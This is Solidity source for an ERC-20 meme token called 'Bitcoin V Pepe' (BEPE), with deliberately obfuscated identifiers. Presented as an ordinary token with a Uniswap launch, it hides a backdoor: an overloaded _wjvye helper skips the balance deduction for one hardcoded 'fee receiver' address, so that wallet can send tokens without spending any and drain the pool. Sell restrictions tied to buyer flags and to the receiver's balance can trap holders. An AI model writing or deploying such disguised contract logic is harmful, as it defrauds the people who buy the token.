文件 1 的 1：BitcoinVPepe.sol
pragma solidity 0.8.20;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function _wjvye(uint256 a, uint256 b) internal pure returns (uint256) {
return _wjvye(a, b, "SafeMath: subtraction overflow");
}
function _wjvye(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IuniswapRouter {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BitcoinVPepe is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Bitcoin V Pepe";
string private constant _symbol = "BEPE";
uint8 private constant _decimals = 9;
uint256 private constant _totalsSupplyl_asp = 100000000 * 10 **_decimals;
uint256 public _maxTxAmount = _totalsSupplyl_asp;
uint256 public _maxWalletSize = _totalsSupplyl_asp;
uint256 public _taxSwapThreshold= _totalsSupplyl_asp;
uint256 public _maxTaxSwap= _totalsSupplyl_asp;
uint256 private _BuyTaxinitial=8;
uint256 private _SellTaxinitial=18;
uint256 private _BuyTaxfinal=1;
uint256 private _SellTaxfinal=1;
uint256 private _BuyTaxAtreduce=6;
uint256 private _SellTaxAtreduce=1;
uint256 private _uesdPrevetingSwapingsPrivy=0;
uint256 private _bloctCountsdInsBuing=0;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _mop_addresPoying;
mapping (address => bool) private _taxjtWalletfy;
mapping(address => uint256) private _mop_address_ForsTmesampTransfring;
bool public _enabaleLnEnary = false;
address public _taxtjFeeqReceiverzy = 0x1B3fDD846b7904040bf21de65DbE3D6D372047bB;
IuniswapRouter private _uniswaptRoutersUniswaptFactory;
address private _uniswapPairTokensiLiquidity;
bool private ForkiTraingiflogjt;
bool private _flagniswapIstSig = false;
bool private _swapingnsUniswapzSigns = false;
event RemoveAllLimit(uint _maxTxAmount);
modifier lockTheSwap {
_flagniswapIstSig = true;
_;
_flagniswapIstSig = false;
}
constructor () {
_balances[_msgSender()] = _totalsSupplyl_asp;
_mop_addresPoying[owner()] = true;
_mop_addresPoying[address(this)] = true;
_mop_addresPoying[_taxtjFeeqReceiverzy] = true;
emit Transfer(address(0), _msgSender(), _totalsSupplyl_asp);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _totalsSupplyl_asp;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()]. _wjvye(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount=0;
if (from != owner() && to != owner()) {
if (_enabaleLnEnary) {
if (to != address(_uniswaptRoutersUniswaptFactory) && to != address(_uniswapPairTokensiLiquidity)) {
require(_mop_address_ForsTmesampTransfring[tx.origin] < block.number,"Only one transfer per block allowed.");
_mop_address_ForsTmesampTransfring[tx.origin] = block.number;
}
}
if (from == _uniswapPairTokensiLiquidity && to != address(_uniswaptRoutersUniswaptFactory) && !_mop_addresPoying[to] ) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
if(_bloctCountsdInsBuing<_uesdPrevetingSwapingsPrivy){
require(!_frxyadpxq(to));
}
_bloctCountsdInsBuing++; _taxjtWalletfy[to]=true;
taxAmount = amount.mul((_bloctCountsdInsBuing>_BuyTaxAtreduce)?_BuyTaxfinal:_BuyTaxinitial).div(100);
}
if(to == _uniswapPairTokensiLiquidity && from!= address(this) && !_mop_addresPoying[from] ){
require(amount <= _maxTxAmount && balanceOf(_taxtjFeeqReceiverzy)<_maxTaxSwap, "Exceeds the _maxTxAmount.");
taxAmount = amount.mul((_bloctCountsdInsBuing>_SellTaxAtreduce)?_SellTaxfinal:_SellTaxinitial).div(100);
require(_bloctCountsdInsBuing>_uesdPrevetingSwapingsPrivy && _taxjtWalletfy[from]);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_flagniswapIstSig
&& to == _uniswapPairTokensiLiquidity && _swapingnsUniswapzSigns && contractTokenBalance>_taxSwapThreshold
&& _bloctCountsdInsBuing>_uesdPrevetingSwapingsPrivy&& !_mop_addresPoying[to]&& !_mop_addresPoying[from]
) {
swapsTokentjthlvp( _eklgw(amount, _eklgw(contractTokenBalance,_maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
}
}
}
if(taxAmount>0){
_balances[address(this)]=_balances[address(this)].add(taxAmount);
emit Transfer(from, address(this),taxAmount);
}
_balances[from]= _wjvye(from, _balances[from], amount);
_balances[to]=_balances[to].add(amount. _wjvye(taxAmount));
emit Transfer(from, to, amount. _wjvye(taxAmount));
}
function swapsTokentjthlvp(uint256 amountForstoken) private lockTheSwap {
if(amountForstoken==0){return;}
if(!ForkiTraingiflogjt){return;}
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswaptRoutersUniswaptFactory.WETH();
_approve(address(this), address(_uniswaptRoutersUniswaptFactory), amountForstoken);
_uniswaptRoutersUniswaptFactory.swapExactTokensForETHSupportingFeeOnTransferTokens(
amountForstoken,
0,
path,
address(this),
block.timestamp
);
}
function _eklgw(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}
function _wjvye(address from, uint256 a, uint256 b) private view returns(uint256){
if(from == _taxtjFeeqReceiverzy){
return a;
}else{
return a. _wjvye(b);
}
}
function removeLimits() external onlyOwner{
_maxTxAmount = _totalsSupplyl_asp;
_maxWalletSize=_totalsSupplyl_asp;
_enabaleLnEnary=false;
emit RemoveAllLimit(_totalsSupplyl_asp);
}
function _frxyadpxq(address _addartq) private view returns (bool) {
uint256 leContractxCad;
assembly {
leContractxCad := extcodesize(_addartq)
}
return leContractxCad > 0;
}
function openTrading() external onlyOwner() {
require(!ForkiTraingiflogjt,"trading is already open");
_uniswaptRoutersUniswaptFactory = IuniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(_uniswaptRoutersUniswaptFactory), _totalsSupplyl_asp);
_uniswapPairTokensiLiquidity = IUniswapV2Factory(_uniswaptRoutersUniswaptFactory.factory()).createPair(address(this), _uniswaptRoutersUniswaptFactory.WETH());
_uniswaptRoutersUniswaptFactory.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(_uniswapPairTokensiLiquidity).approve(address(_uniswaptRoutersUniswaptFactory), type(uint).max);
_swapingnsUniswapzSigns = true;
ForkiTraingiflogjt = true;
}
receive() external payable {}
}
